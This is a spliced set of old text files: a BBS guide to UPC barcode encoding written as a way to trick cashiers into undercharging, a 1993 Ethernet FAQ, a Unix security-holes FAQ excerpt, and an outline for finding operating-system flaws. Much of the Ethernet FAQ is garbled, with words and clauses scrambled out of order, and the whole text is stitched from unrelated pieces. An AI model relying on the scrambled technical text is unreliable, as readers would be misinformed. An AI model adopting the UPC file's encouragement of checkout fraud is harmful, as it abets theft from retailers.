it's that set of black bars you see on virtually every product whenever you go to the grocery store, to buy a book or a magazine, or even to buy software (assuming that you do, indeed, BUY your software). Have you ever though of what fun you could have by altering that little set of black bars? If you were lucky enough, you might be able to slip a box of industrial size laundry detergent by that dizzy 16year-old girl at the Safeway and have the computer charge you the price of a pack of Juicy Fruit, or some other such mischief. Well, to help you in your explorations of How To Screw Over Others In This Grand Old Computerized World of Ours, I proudly present HOW TO CRACK TO UPC CODE. Use the information contained herein as you will. You will need the file UPC.PIC, hopefully available from the same place you found this file. And so, let's begin: When the lady at the corner market runs the package over the scanner (or whatever it is they do in your area), the computerized cash register reads the UPC code as a string of binary digits. First it finds the "frame bars" - a sequence of "101" (see A on picture). There are three sets of frame bars on any given code...one on either side, and one in the center. These do nothing but set off the rest of the data, and are the same on any UPC code. Next is the "number system character" digit, which is encoded in leftside code (see later). This digit tells the computer what type of merchandise is being purchased. The digits and their meanings are: 0 - Ordinary grocery items. Bread, magazines, soup, etc. 2 - Variable-weight items. 3 - Health items. Aspirin, bandaids, tampons, etc. 5 - Cents-off coupon. (Not sure how this works). Meats, fruits & veggies, etc. The next cluster of digits is the manufacturer number, again stored in leftside code. THere are five digits here all the time. Some numbers include 51000 for Campbell's Soup, 14024 for Ziff-Davis publishing (Creative Computing, A...), and 51051 for Infocom. The next five digits (after the frame bars) are the product/size id number. The number for "The Hitchhiker's Guide to the Galaxy" from Infocom is 01191. These digits are stored in rightside code. Finally there is the checksum, in rightside, which will be discussed later. Now, why are there two types of codes, leftside and rightside? That's so the person at the checkout counter can slide the thing by the scanner any way she pleases. By having different codings for either side the computer can tell the right value no matter how the digits are read in. Here are the codes for the digits 0 through 9: Digit Leftside code Rightside code 0 0001101 1110010 1 0011001 1100110 2 0010011 1101100 3 0111101 1000010 4 0100011 1011100 5 0110001 1001110 6 0101111 1010000 7 0111011 1000100 8 0110111 1001000 9 0001011 1110100 The more observant among you may have noticed that Rightside code is nothing more than logical-NOTed Leftside code, i.e., a 0 in Leftside is a 1 in Rightside, and vice versa. Later on we will discuss another type called Reversed Rightside, in which the binary values in Rightside are reversed, meaning that 1110100 (9) in Rightside would be 0010111 in Reversed Rightside. RR is used only when there is an extra set of codes off to the right of the main code bars, as with books and magazines. Now we see the hard part: how the checksum digit is encoded. Let's try working out the checksum for "Hitchhiker's Guide". First, notice the Number System Character. Software is considered a Grocery Item by UPC, so the NSC is 0 (zero). Next, Infocom's Manufacturer's Number is 51051, and the game's id number is 01191. Good enough. Set together, these numbers look like this: 0 51051 01191 Now, take the digits of the code and write them on alternate lines, odd on one line, even below, giving this: 0 1 5 0 1 1 5 0 1 1 9 Now add each set of numbers: 0+1+5+0+1+1 = 8 5+0+1+1+9 = 16 Multiply the first number (the ones created by adding the first, third, etc digits) by three: 8x3 = 24 And add that to the result of the other number (second, fourth, etc digits added together): 24+16=40 Subtract this from the next higher or equal multiple of 10 (40 in this case) 40-40=0 And the remainder, here 0 (zero), is the checksum digit. Now, what if there's a set of other bars off to the side? These are encoded in another format which uses Reversed Rightside (as described above) instead of standard Rightside. For books, the sequence is as follows: Five digits Starts with 1011 If (first digit is even) then sequence is L-RR-L-L-RR else sequence is RR-L-L-RR-L each digit is separated with 01 Therefore, the sequence for 29656 is: 1011 0010011 01 0010111 01 0101111 01 0110001 01 0000101 2L 9RR 6L 5L 6RR and the sequence for 14032 is: 1011 0110011 01 0100011 01 0001101 01 0100001 01 0010011 1RR 4L 0L 3RR 2L Naturally, all these bars are run together. There is no checksum. For magazines, the sequence is even more complex. There are two digits in each bar, and the numbers usually run from 1-12, signifying the month. The first digits are encoded thusly: L if the digit is 1,4,5,8 or 9 and RR if the digit is 2,3,6,7 or 0. The second digit is coded in L if it is even, and RR if it is odd. Therefore, 06 codes as: 1011 0100111 01 0101111 and 11 codes as: 1011 0110011 01 0110011 No checksum here, either, and the fields are again separated by 01. Well, that about does it for this explanation of how to crack the UPC codes. Use this information as you will, and forward any question to THE SPACE BAR, xxx-xxx-xxxx, pw:BANZAI. Enjoy! - Count Nibble - The PIRATES HOLLOW xxx-xxx-xxxx ;( Newsgroups: comp.dcom.lans.ethernet From: barr@tramp.Colorado.EDU (BARR DOUG) Subject: Ethernet FAQ Organization: University of Colorado, Boulder Date: Tue, 5 Jan 1993 20:51:40 GMT This has not been posted for a while, so I am taking the liberty of posting it: Q: What is a runt? A: A packet that is below the minimum size for a given protocol. With Ethernet, a runt is a frame shorter than the minimum legal length of 64 bytes (at Data Link). Q: What causes a runt? A: Runt packets can be caused accidentally or intentionally. If accidental, they are most likely the result of a faulty device on the network, or software gone awry. If intentional, they may be designed to be runts for a specific reason. SNMP (Simple Network Management Protocol) is often sent as runt packets so that many devices will simply ignore it. Q: What is a jabber? A: A blanket term for a device that is behaving improperly in terms of electrical signalling on a network. In Ethernet this is Very Bad, because Ethernet uses electrical signal levels to determine whether the network is available for transmission. A jabbering device can cause the entire network to halt because all other devices think it is busy. Q: What causes a jabber? A: Typically a bad network interface card in a machine on the network. In bizarre circumstances outside interference might cause it. These are very hard problems to trace with layman tools. Q: What is a collision? A: A condition where two devices detect that the network is idle and end up trying to send packets at exactly the same time. (within 1 round-trip delay) Since only one device can transmit at a time, both devices must back off and attempt to retransmit again. The retransmission algorithm requires each device to wait amount of time, so the two are very likely times, and thus the second a random to retry at different one will sense that the network is busy and wait until the packet is finished. If the two devices retry at the same time (or almost the same time) they will collide again, etc. Q: What causes a collision? A: See above. Ethernet is a CSMA/CD (Carrier Sense Multiple Access/ Collision Detect) system. It is possible to not sense carrier from a previous device and attempt to transmit anyway, or devices attempt to transmit at the collision results. Ethernet is to have two same time; in either case a particularly susceptible to performance loss from such problems when people ignore the "rules" for wiring Ethernet. Q: What is a jam? A: When a workstation receives a collision, and it is transmitting, it puts out a jam so all other stations will see the collision also. When a repeater detects a collision on one port, it puts out a jam on all other ports, causing a collision to occur on those lines that are transmitting, and causing any non-transmitting stations to wait to transmit. Q: What is a broadcast storm? A: An overloaded term that describes an overloaded protocol. :-). Basically it describes a condition where devices on the network are generating traffic that by its nature causes the generation of even more traffic. The inevitable result is a huge degradation of performance or complete loss of the network as the devices continue to generate more and more traffic. This can be related to the physical transmission or to very high level protocols. There is a famous example of Banyan Vines bringing a huge network to its knees because of the addition of a single server, which brought the network to "critical mass" (this logic error has been corrected). NFS is famous for this type of failure. Q: How do I recognize a broadcast storm? A: That depends on what level it is occurring. Basically you have to be aware of the potential for it beforehand and be looking for it, because in a true broadcast storm you will probably be unable to access the network. level protocol. This can change dramatically for a higher NFS contention can result in a dramatic DROP in Ethernet traffic, yet no one will have access to resources. Q: How can I prevent a broadcast storm? A: Avoid protocols that are prone to it. Route when it is Don't buy Ethernet. :-). practical. Q: What is *high* traffic on an Ethernet? 5%? 20%? 90%? A: High traffic is when things start slowing down to the point they are no longer acceptable. There is not set percentage point, in other words. Xerox used to use a formula based on packet size over time, or something, but the issue has been significantly muddied by the plethora of protocols available and how they react usage. to wire I usually start paying attention over 40-50%, *or when things slow down*. I've seen IPX segments that were slow with less than 20% usage. Q: What means SQE? What is it for? A: SQE is the IEEE term for a collision. (Signal Quality Error) Q: What means "heartbeat"? What is it for? A: Heartbeat (a.k.a. SQE Test) is a means of detecting a transceiver's inability to detect collisions. Ethernet will test the The normal your Without heartbeat, it is collision implemented of an transceiver's power, transmitter and receiver; if any of these fail the station will loopback. operation not hear its own not possible to determine if detector is operating properly. Heartbeat is by generating a test signal on the collision pair from the transceiver (or its equivalent) following every transmission on the network. It does not generate any signal on the common medium. Note the older usage of this term to refer to the +-.7V carrier sense wave, although I haven't heard it used that way in a while (since SQE indicators became popular on transceivers). Q: What means "CSMA/CD"? A: Carrier Sense, Multiple Access, with Collision Detection, the MAC (Media Access Control) algorithm used by Ethernet to help avoid two devices on the same cable from transmitting at the same time, or at least recognize when this has happened so that back-off and try again later. the two devices can Q: What means "IPG"? A: The InterPacket Gap (more properly Gap, or IFG) is an referred to as the InterFrame enforced quiet time of 9.6 us between transmitted Ethernet frames. Q: Does a NEMP (Nuclear Electro-Magnetic Pulse) affect an Ethernet? A: The Russians have done the most research into the effects of NEMP, although the US and various European countries have also looked into it. I doubt that the results and theses from this work is available. Given my very limited understanding of the effect (as a layman), yes, I expect it would. (since it is non-conducting) surviving NEMP. Obviously, a fiber-optic network would have a greater chance for However, I suspect the EMF would not be signif- icantly retarded by most system enclosures to prevent damage to the network interface (as well as the rest of the system internals) in spite of the lack of copper network cables acting as antennae. Q: What means "promiscuous mode"? A: A controller in promiscuous mode will receive all frames, regardless of destination address. Ethernet is promiscuous in that it allows any device on a segment to hear every packet on that segment if the card is so programmed. This is an obvious security It used to be the packets that there was no way themselves, issue. around this besides encoding but Synoptics recently released a secure Ethernet solution (blatant employee plug). Q: How can I test an Ethernet? A: You must be more specific. Do you wish to test the electrical integrity of the wire (ie, will it carry a you wish to test the performance of it while running, etc? former, a TDR expands If the (see below) or cable scanner that incorporates and on the capabilities comprehensive tool, though simple ohmmeter. expensive signal properly) or do software, of a TDR would be the most a great deal can be determined with a The latter requires special and often very usually combined with custom hardware, to capture, optionally filter, and analyze the network packets. The most basic test is to connect a pair of devices and see if they can communicate with each other, while monitoring any status indicators that the devices might provide. Q: What is a "TDR"? A: A Time-Domain Reflectometer is a tool used to detect cable faults. This device operates by sending a brief signal pulse down the cable and looking for its reflection to bounce back. By analyzing the reflected pulse, it is possible to make judgments about the quality of the cable segment. More advanced units can not only detect and identify the nature of the problem, but give a reasonably indication of the problem's location the test). accurate (distance from the point of There is also a device known as an OTDR, which is an Optical Time-Domain Reflectometer for fiber-optic cables. Q: What means "BERT"? A: Bit Error Rate Tester. This equipment is used to analyze the amount and types of errors that occur on a cable segment. Q: What (free) tools are there to monitor/decode/etc an Ethernet? A: There are many built into most Unix systems. Some cards for the PC come with utilities. There are several free ones available. Again, use archie. Q: What is the difference between an Ethernet frame and a IEEE802.3 frame? Why are there two types? Why is there a difference? A: Ethernet was invented at Xerox Palo Alto Research Center and later became an international standard. IEEE handled making it a standard; and their specifications are slightly different from the original Xerox ones. Hence, two different types. 802.3 uses the 802.2 LLC to distinguish among multiple clients, and has a "LENGTH" field where Ethernet has a 2-byte "TYPE" field to distinguish among multiple client protocols. TCP/IP and DECnet (and others) use Ethernet_II framing, which is that which Xerox/PARC originated, while NetWare defaults to 802.3. Q: What is SNAP A: Sub-Network Access Protocol Q: Where can I find out which Protocols use which Ethernet type numbers? A: Look at IETF RFC-1340 - Assigned Numbers RFC. Q: What is UTP, STP? A: Unshielded twisted pair, shielded twisted pair. UTP is what the phone companies typically use, though this is enough quality for high-speed network use. Either one can be STP is mostly from IBM. used for Ethernet, but they have different electrical characteristics (impedance) and matched freely. not always of high- can't be mixed and Some manufacturer's hubs and concentrator cards can be bought that will speak to either type of cable, so you CAN hook them together in a manner. Q: What exactly means 10Base5, 10BaseT, 10Base2, 10Broad36, etc. A: The "10" stands for signalling speed: 10MHz. "Base" means Baseband, "broad" means to indicate broadband. Initially, the last section as the maximum This convention where the T intended length of an unrepeated cable segment. was modified with means twisted pair, and the introduction of 10BaseT, 10BaseF fiber (see the following Q&A for specifics). where the F means This actually comes from the IEEE committee number for that media. In actual practice: 10Base-2 Is 10MHz Ethernet running over thin, baseband coax. 10Base-2 is also commonly referred to as thin-Ethernet or Cheapernet. 10Base-5 Is 10MHz Ethernet running over standard (thick) baseband coax. 10Base-F Is 10MHz Ethernet running over fiber-optic cabling. 10Base-T Is 10MHz Ethernet running over unshielded, twistedpair cabling. Q: Are there any restrictions on how Ethernet is cabled? A: Yes, there are many, and they vary according to the media used. First of all, there are distance limitations: 10Base-2 limited to 185 meters (607 ft) per unrepeated cable segment. 10Base-5 limited to 500 meters (1,640 ft) per unrepeated cable segment. 10Base-F depends on the signaling technology and medium used but can go up to 2KM. 10Base-T generally accepted to have a maximum run of 100-150M, but is really based on signal loss in db's (11.5db maximum loss source to destination). Then there are limitations on the number of repeaters and cable segments allowed on a single network. There may be no more than five (5) repeated segments, nor more than four (4) repeaters on any Ethernet; and of the five cable segments, only three (3) may be populated. This is referred to as the "5-4-3" rule (5 segments, 4 repeaters, 3 populated segments). It can really get messy when you start cascading through 10Base-T hubs, which themselves. are repeaters unto Just try to remember, that any possible path between two network devices on an unbridged/unrouted network cannot pass through more than 4 repeaters or hubs, nor more than 3 populated cable segments. Finally, 10Base-2 is limited to a maximum of 30 network devices per unrepeated network segment with a minimum distance of 0.5m (1.5ft) between T-connectors. 10Base-5 is limited to a maximum of 100 network devices per unrepeated segment, with a minimum distance of 2.5m (8.2ft) between taps/T's (usually stamped on the cable itself every 2.5m). indicated by a marker I am not aware of any theoretical limit on the number of 10Base-T devices, and don't know the limitations for 10Base-F yet. (Can someone fill-in the blanks?) Q: What is 10Base-F? A: 10Base-F is an IEEE standard for 10mbps Ethernet over fiber-optic cabling. It defines the methodology and standard devices which, ideally, can permit one company's 10Base-F devices to interoperate with any others'. Q: What means FOIRL? A: Fiber Optic Inter Repeater Link. A "IEEE 802 standard" worked out between many vendors some time ago across long distances adapted to other applications repeaters (you can for carrying Ethernet signals via fiber optic cable. It has since been besides connecting segments via get FOIRL cards for PCs). It has been superseded by the larger 10Base-F standard. Q: What about wireless LAN's? Are there any? A: Yes. They typically use reflected or point-to-point infrared light, spread-spectrum RF or microwave RF transmission as as media. They are typically expensive, slow (relative to Ethernet) and are not yet a mature technology. There are special applications for light based (laser) repeaters. Q: When should I choose 10BaseT, when 10Base2 (or others)? A: The specific environment and application must be considered when selecting your media type. However, there are some general rules- of-thumb that you can consider: Avoid using copper between buildings. The electrical disturbances caused by lightning, as well as naturally occurring differences in ground potential over distance, can very quickly and easily cause considerable damage to equipment and people. The use of fiber- optic cabling between buildings eliminates network cabling as a safety risk. There are also various wireless media available for inter-building links, such as laser, spread-spectrum RF and microwave. However, wireless media is much more expensive and less reliable than fiber-optic, and should only be considered when it is impossible to get right-of-way for fiber-optic cable. 10Base-2 (thin Ethernet or to cable an Ethernet Cheapernet) is the least expensive way network. between 10Base-2 and 10Base-T diminishing. Still, for However, the (Ethernet over price difference UTP) is rapidly small, budget-conscious installations, 10Base-2 is the most economical topology. The disadvantages of 10Base-2 is that any break in the cable or poor connection will bring the entire network down, more than 30 devices and you need repeaters if you have connected to the network or the cable length exceeds 185 meters (607 feet). 10Base-5 is generally used as a low-cost alternative to fiber-optic media for use as a backbone segment within a single building. It's extended length (500m or 1640ft), higher attached device count (100) and better noise resistance make 10Base-5 well suited for use as a network trunk for one or more floors in a building. the high cost of connecting each device (in However, addition to the interface, you also need an external transceiver, or MAU, and an AUI cable) makes 10Base-5 too expensive for most LAN installations, and like 10Base-2, a single break or bad connection in the cable can bring the entire network down. 10Base-T is the most flexible topology for LANs, and is generally the best choice for most network installations. 10Base-T multi-hub concentrators, are typically installed in location to hubs, or a central the user community, and inexpensive UTP cabling is run to each network device (which may be 100m, or 330ft, from the hub). The signalling technology is very reliable, even in somewhat noisy environments, and 10Base-T hubs will usually detect many network error conditions and automatically shut-down the offending port(s) without affecting the rest of the network (unless, of course, the offending rest port was your of the world). 10Base-2, server, shared printer, or router to the While the hardware is more expensive than the cabling is cheaper and requires less skill to install, making 10Base-T installation costs than 10Base-2. The flexibility only slightly higher and reliability more than offset the marginally higher price. 10Base-F, and its predecessor, FOIRL, are topologies for inter-building links. limited to this role. though the the only recommended However, 10Base-F can also be run cost is prohibitively high in they need to the not be desktop, all but the most specialized environments (generally, extremely noisy manufacturing facilities, or very commonly, FOIRL security-conscious (and now, installations). More 10Base-F) is used inside buildings to form backbone networks and to connect wiring closets together. Q: What are the advantages/disadvantages of a star like cabling? A: Old style Ethernet bus wiring (ie, taking the cable from one machine to the next, and then to the next, etc) is prone failure and quickly consumes allowed distances to cable due to aesthetic wiring needs. If the wiring connection is broken at any point, the entire network (segment) fails - and the much greater number of connections increases the probability of a failure or break. On the other hand, it's pretty easy to do for a layman and may involve less actual wiring for small segments. Star wiring eliminates the single point of failure of a common wire. A central hub has many connections that radiate out to hosts, if one of these hosts connections fails it usually doesn't affect the others. Obviously, however, the hub becomes a central point of failure itself, but studies show a quality hub is less likely to fail before a heavily used strand of coax. There are a bunch of other reasons hubs are desirable, but this is the biggie. Q: Is there an official "standard" punch down scheme for 10BaseT? A: Get a copy of EIA-568, it covers all of that sort of stuff: horizontal, vertical, connectors, patch cords, cross-connects, etc. Q: Is it safe to run Unshield Twisted Pair next to power cable (it is shielded)? A: According to EIA/TIA-569, the standard wiring practices for running data cabling and companion to the above referenced EIA/TIA-568, you should not run data cable parallel reality, this should 10Base-T. such as 10Base-T uses differential signalling to pick the data the wire. Since any problem However, in with networks signals off not be a to power cables. interference from nearby power lines will usually affect all pairs equally, anything that is not canceled-out by the twists in the UTP should be ignored by the receiving network interface. Q: Why has the MAC address to be unique? A: Each card has a unique MAC address, exclusively grab packets addresses are two stations. off so that it will be able to the wire meant for it. If MAC not unique, there is no way to distinguish between Devices on the network watch network traffic and look for their own MAC address in each packet to they should decode it or not. Special determine whether circumstances exist for broadcasting to every device. Q: Is there a special numbering scheme for MAC addresses? A: The MAC addresses are exactly 6 bytes in length, and are usually written in hexadecimal as 12:34:56:78:90:AB (the colons may be omitted, but generally make the address more readable). Each manufacturer of Ethernet devices applies for a certain range of MAC addresses they can use. The first three bytes of the address determine the manufacturer. RFC-1340 (available via FTP) lists some of the manufacturer-assigned MAC addresses. Q: What is a "segment"? A: A piece of wire bounded by bridges, routers, or terminators. Some people consider wires on either side of a repeater separate segments, but they aren't really. Q: What is a "subnet"? A: Another overloaded term. It can mean, depending on the usage, segment, a set of machines grouped together by a specific a protocol feature (note that these machines do not have to be on the same segment, but they could be) or a big nylon thing used to capture soviet subs. Q: What is a fan-out? Is this device still used? A: Fanout (a.k.a transceiver multiplexor, a.k.a. ceiver, a.k.a. multiport trans- DELNI) allows multiple stations to connect to single transceiver or transceiver-like device. a They are still widely used. Q: What means "AUI"? A: Attachment Unit Interface, an IEEE term for the connection between a controller and the transceiver. Q: What is a transceiver? A: A transceiver allows a station to transmit and receive to/from the common medium. In addition, Ethernet transceivers detect collisions on the medium and provide electrical isolation between stations. Q: What means "MAU"? A: Medium Access Unit, an IEEE term for a transceiver. MAU is also commonly [mis]used to describe a Token-Ring Multi-Station Access Unit (MSAU). Refer to HUB for an explanation of MSAU. Q: What exactly does a repeater? A: A repeater acts on a purely electrical level to connect to segments. All it does is amplify and reshape (and, depending on the type, possibly retime) segment distances. It does the analog not waveform to extend network know anything about addresses or forwarding, thus it cannot be used to reduce traffic as a bridge can in the example above. Q: What is a "HUB"? A: A hub is a common wiring point for star-topology networks, and is a common synonym for concentrator (though the latter generally has additional features or capabilities). Arcnet, 10Base-T Ethernet and 10Base-F Ethernet and many proprietary network topologies use hubs to connect multiple cable runs in a star-wired topology into a single network. Token-Ring MSAUs (Multi-Station Units) can also be considered a token-ring bigot hear that. the different cable runs. type of hub, but Access don't let a Hubs have multiple ports to attach Some hubs (such as 10Base-T and active ArcNet) include electronics to between each hub port. network regenerate and retime the signal Others (such as 10Base-F or passive Arcnet) simply act as signal splitters, similar to the multi-tap cable-TV splitters you might use on your home antenna coax 10Base-F uses mirrors to split the signals (of course, between cables). Token-Ring MSAUs use relays (mechanical or electronic) to reroute the network signals to each active device in series, other hubs redistribute received signals out while all all ports simultaneously, just as a 10Base-2 multi-port repeater would. Q: What exactly does a bridge? A: A bridge will connect to distinct segments physical length (usually referring to a of wire) and transmit traffic between them. This allows you to extend the maximum size of the network while still not breaking the maximum wire length, attached device count, or number of repeaters for a network segment. Q: What does a "learning bridge"? A: A learning bridge monitors MAC (OSI layer 2) addresses on both sides of its connection and attempts to learn which addresses are on which side. It can then decide when it receives a packet whether it should cross the bridge or stay local (some packets may not need to cross the bridge because the source and destination addresses are both on one side). that If the bridge receives a packet it doesn't know the addresses of, it will forward it by default. Q: What is a remote bridge? A: A bridge as described interface on above that has an Ethernet (or token-ring) one side and a serial interface on the would connect to a similar device on line. Most commonly impractical other. It the other side of the serial used in WAN links where it is impossible or to install network cables. A high-speed modem DSU/CSU's, X.25 PAD's, etc) and intervening telephone (or T1 lines or public data network would be used to connect the two remote bridges together. Q: What exactly does a router? A: Routers work much like bridges, but they pay attention to the upper network layer protocols (OSI layer 3) rather than physical layer (OSI layer 1) protocols. packet by looking at A router will decide whether to forward a the protocol level addresses (for instance, TCP/IP addresses) rather than the MAC address. Because routers work at layer 3 of the OSI stack, it is possible for them to transfer packets between different media types (i.e., leased lines, Ethernet, token ring, X.25, Frame Relay and FDDI). Many routers can also function as bridges. Routing would always be preferable to bridging except for the fact that routers are slower and usually more expensive (due inside the to the amount of processing required to look physical packet and determine which interface that packet needs to get sent out). Q: So should I use a router or a bridge? A: There is no absolute answer to this. Your network layout, type and amount of hosts and traffic, and other issues (both technical and non-technical) must be considered. The following are the pros and cons of each: Routing: + Can route between different media (although FDDI to Ethernet bridges are becoming common via the Translation Bridging standard). + There is isolation of Multicast & Broadcast packets at the MAC layer which helps to reduce broadcast storms. + Can run multiple active paths between sites in a mesh network to use links efficiently (bridging uses spanning tree to decide if a link is forwarding or in a back up state). + Takes part in higher level protocol so can provide more features (examples = logical zones in Appletalk, proxy ARP on IP). + Provide a clean cut off when connecting multiple management domains. + Only needs to know 'where next?' and so remote networks, whereas bridges must hides the detail of understand the whole topology of the net. Bridging: + Much cheaper boxes. + Learning bridges virtually autoconfigure themselves. + Works with any protocol that conforms to the MAC level spec. some protocols such as DEC LAT & MOP can only be bridged. + Within a site uses IP address space more efficiently whilst providing some traffic segregation (address space is becoming a real scarce resource!). + Bridges are generally less complex devices, which usually translates to higher reliability. + Easy inter-vendor working via spanning tree standard (802.1d or DEC STP) Q: Are there problems mixing Bridging & routing? A: You should be very careful about running bridges providing links in parallel to a router. Bridges may forward broadcast requests which will confuse the router there are lots of think of filtering (e.g. ARP, protocols you may not Apple ARP over 802.3 etc. etc.). Also, DECnet routers have the same MAC address on all ports. This will probably cause the bridge to think it is seeing an Ethernet loop. Q: What is a Kalpana EtherSwitch? A: A device that principle. works sort of like a bridge, but off a different It's advantages are that it is extremely fast and can "bridge" more than one packet at a time (it is not limited to two interfaces as a traditional bridge is). Disadvantages are that it does not understand spanning tree and doesn't work well in many to one networks. You probably don't understand that, so ignore it. Q: What is a driver? A: Typically the software that allows an Ethernet card in a computer to decode packets and send them to the operating data from the operating system for card through the network. system and encode transmission by the Ethernet By handling the nitty-gritty hardware interface chores, it provides a device-independent interface to the upper layer protocols, thereby making them [allegedly] easier to develop and meanings to this word, more universal and use. There are many other but this is probably what you are looking for. Q: What is NDIS, packet driver, ODI.? A: NDIS is a Microsoft/3com puppy that allows "stacking" of multiple protocols for a single underlying driver. Essentially it allows a single Ethernet card in speak many different a PC (it's not limited to Ethernet) to network "languages", and usually at the same time. A packet driver is another method of allowing multiple protocols to access the network interface at the supported same time. Developed and by FTP Software Inc, Clarkson University, BYU and, more recently, Crynwr Software, the packet driver spec (PDS) is used to provide a device independent interface to various TCP/IP applica- tions, and often in combination with concurrent Novell access (IPX/SPX). ODI is Novell and Apple's equivalent of NDIS. There are differ- ences between the two specs, but not so much as to warrant description in this text. The next logical question is "which one should I use?" There is no simple or obvious answer, except that you should use the one most commonly required by your software. Q: Is there a troubleshooting guide for Ethernet? A: Many. I suggest you check your local technical bookstore. (Recommendations needed) Q: What books are good about Ethernet LAN's? A: There are many. The following are recommended by readers on this list: "The Ethernet Management Nemzow. This book Guide - Keeping has good coverage of the Link" by Martin most of the average considerations of Ethernet, from what Manchester encoding is down to production segment traffic analysis. Q: Where can I get IEEE803.x docs online? A: Nowhere. IEEE documents must be ordered from the IEEE themselves. You can contact them at: Institute of Electrical and Electronic Engineers 445 Hoes Lane P.O. Box 1331 Piscataway, NJ 08855-1331 U.S.A. (800) 678-IEEE Q: Where can I get EIA/TIA docs online? A: Nowhere? Must be ordered from: Global Engineering 2805 McGaw Av Irvine, CA 92714 phone 714-261-1455 Q: Where can I find the specifications of Ethernet equipment? A: From the manufacturer of the product, probably. Q: Where can I find IETF (Internet Engineering Task Force) documents? A: These are available for anonymous FTP from a number of sites. One known location is athos.rutgers.edu in /ietf. Drafts are also on athos in /internet-drafts. -_________________________________________________________________________ RUCS | Mark A. Medici, Systems Programmer III, User Services Division User | Rutgers University Computing Services, New Brunswick, NJ 08903 Services | [medici@gandalf.rutgers.edu] [908-932-2412] From: Manifestation Subject: Security holes manifest themselves in (broadly) four ways... Date: 11.10.93 ( Please contribute by sending E-Mail to <scott@santafe.edu> ... ) [quoting from the comp.security.unix FAQ] Security holes manifest themselves in (broadly) four ways: 1) Physical Security Holes. - Where the potential problem is caused by giving unauthorised persons physical access to the machine, where this might allow them to perform things that they shouldn't be able to do. A good example of this would be a public workstation room where it would be trivial for a user to reboot a machine into single-user mode and muck around with the workstation filestore, if precautions are not taken. Another example of this is the need to restrict access to confidential backup tapes, which may (otherwise) be read by any user with access to the tapes and a tape drive, whether they are meant to have permission or not. 2) Software Security Holes - Where the problem is caused by badly written items of "privledged" software (daemons, cronjobs) which can be compromised into doing things which they shouldn't oughta. The most famous example of this is the "sendmail debug" hole (see bibliography) which would enable a cracker to bootstrap a "root" shell. This could be used to delete your filestore, create a new account, copy your password file, anything. (Contrary to popular opinion, crack attacks via sendmail were not just restricted to the infamous "Internet Worm" - any cracker could do this by using "telnet" to port 25 on the target machine. The story behind a similar hole (this time in the EMACS "move-mail" software) is described in [Stoll].) New holes like this appear all the time, and your best hopes are to: a: try to structure your system so that as little software as possible runs with root/daemon/bin privileges, and that which does is known to be robust. b: subscribe to a mailing list which can get details of problems and/or fixes out to you as quickly as possible, and then ACT when you receive information. >From: Wes Morgan <morgan@edu.uky.ms> > > c: When installing/upgrading a given system, try to install/enable only > those software packages for which you have an immediate or foreseeable > need. Many packages include daemons or utilities which can reveal > information to outsiders. For instance, AT&T System V Unix' accounting > package includes acctcom(1), which will (by default) allow any user to > review the daily accounting data for any other user. Many TCP/IP packa> ges automatically install/run programs such as rwhod, fingerd, and > <occasionally> tftpd, all of which can present security problems. > > Careful system administration is the solution. Most of these programs > are initialized/started at boot time; you may wish to modify your boot > scripts (usually in the /etc, /etc/rc, /etc/rcX.d directories) to pre> vent their execution. You may wish to remove some utilities completely. > For some utilities, a simple chmod(1) can prevent access from unauthorized > users. > > In summary, DON'T TRUST INSTALLATION SCRIPTS/PROGRAMS! Such facilities > tend to install/run everything in the package without asking you. Most > installation documentation includes lists of "the programs included in > this package"; be sure to review it. 3) Incompatible Usage Security Holes - Where, through lack of experience, or no fault of his/her own, the System Manager assembles a combination of hardware and software which when used as a system is seriously flawed from a security point of view. It is the incompatibility of trying to do two unconnected but useful things which creates the security hole. Problems like this are a pain to find once a system is set up and running, so it is better to build your system with them in mind. It's never too late to have a rethink, though. Some examples are detailed below; let's not go into them here, it would only spoil the surprise. 4) Choosing a suitable security philosophy and maintaining it. >From: Gene Spafford <spaf@cs.purdue.edu> >The fourth kind of security problem is one of perception and >understanding. Perfect software, protected hardware, and compatible >components don't work unless you have selected an appropriate security >policy and turned on the parts of your system that enforce it. Having >the best password mechanism in the world is worthless if your users >think that their login name backwards is a good password! Security is >relative to a policy (or set of policies) and the operation of a system >in conformance with that policy. --From: Hacking Subject: Hacking Ideas Date: 11/10/93 ( Please contribute by sending E-Mail to <scott@santafe.edu> ... ) [ Many ideas taken from: HaxNet - APG V1.3 : Guide to finding new holes] NOTE: I think this should be divided into general categories: 1) General principles 2) Looking for holes in src (most items here) 3) Looking in binary distributions 4) Looking in site specific configurations The following general classifications suggest themselves: 1) SUID/SGID 2) Return codes/error conditions 3) unexpected input 4) race conditions 5) authentication 6) implicit trust 7) parameters 8) permissions 9) interrupts 10) I/O 11) symbolic links 12) Daemons, particularly those taking user input. 13) Kernel race conditions 14) what else? - please add categories (Suggested splitting of above into main and sub-catagories) I: Suid binaries and scripts unexpected user interactions flawed liberary calls implicit assumptions of external conditions (sym links, loc. paths) race conditions II: daemons running with priviliged uid's race conditions poor file protectons implicit file protections trust authentication III: Kernel problems Kernel race conditions device driver code The following four step method was created by System Development Corporation, who report a 65% success rate on the flaw hypotheses generated. Doing a comprehensive search for operating system flaws requires four steps: Step 1) Knowledge of system control structure. =============================================== To find security holes, and identifying design weaknesses it is necessary to understand the system control structure, and layers. One should be able to list the: A) security objects: items to be protected. ie: a users file. B) control objects: items that protect security objects. ie: a i-node C) mutual objects : objects in both classes. ie: the password file With such a list, it is possible to graphically represent a control hierarchy and identify potential points of attack. Making flow charts to give a visual breakdown of relationships definitely helps. Reading the various users, operators, and administrators manuals should provide this information. (following para's should probably be moved to a "legal" section) Reading and greping source code should also prove valuable. For those without a source licence, I would suggest we use LINUX, NET2, and BSD386 distributions in order to stay legal. At some future time we may be able to form a working contract between someone or a company with legal access to other distributions and members actively participating in this project. It appears that extracts of proprietary code may be used for academic study, so long as they are not reused in a commercial product - more checking is necessary though. Step 2) Generate an inventory of suspected flaws. (i.e. flaw hypotheses) ======================================================================== In particular we want: Code history: What UNIX src does a particular flavor derive from? This is important for cross references (very often only one vendor patches certain code, which may get reused, in it's unpatched reincarnation by others) A solid cross reference: Who checked which bug in what OS and what version prevents us from duplicating work. A good start would be listing all the suid binaries on the various OS flavors/versions. Then try to work out why each program is suid. i.e.: rcp is suid root because it must use a privilaged port to do user name authentication. Often code that was never designed to be suid, is made suid, durring porting to solve file access problems. We need to develope a data base that will be able to look at pairs and triplets of data, specificly: program name, suid, sgid, object accessed (why prog is suid/sgid), OS flavor/version, and flav/vers geniology. Any sugestions on how to implement such a DB? Step 3) Confirm hypotheses. (test and exploit flaws) ==================================================== Step 4) Make generalizations of the underlying system weaknesses, for which the flaw represents a specific instance. ===================================================================== Tool Box: 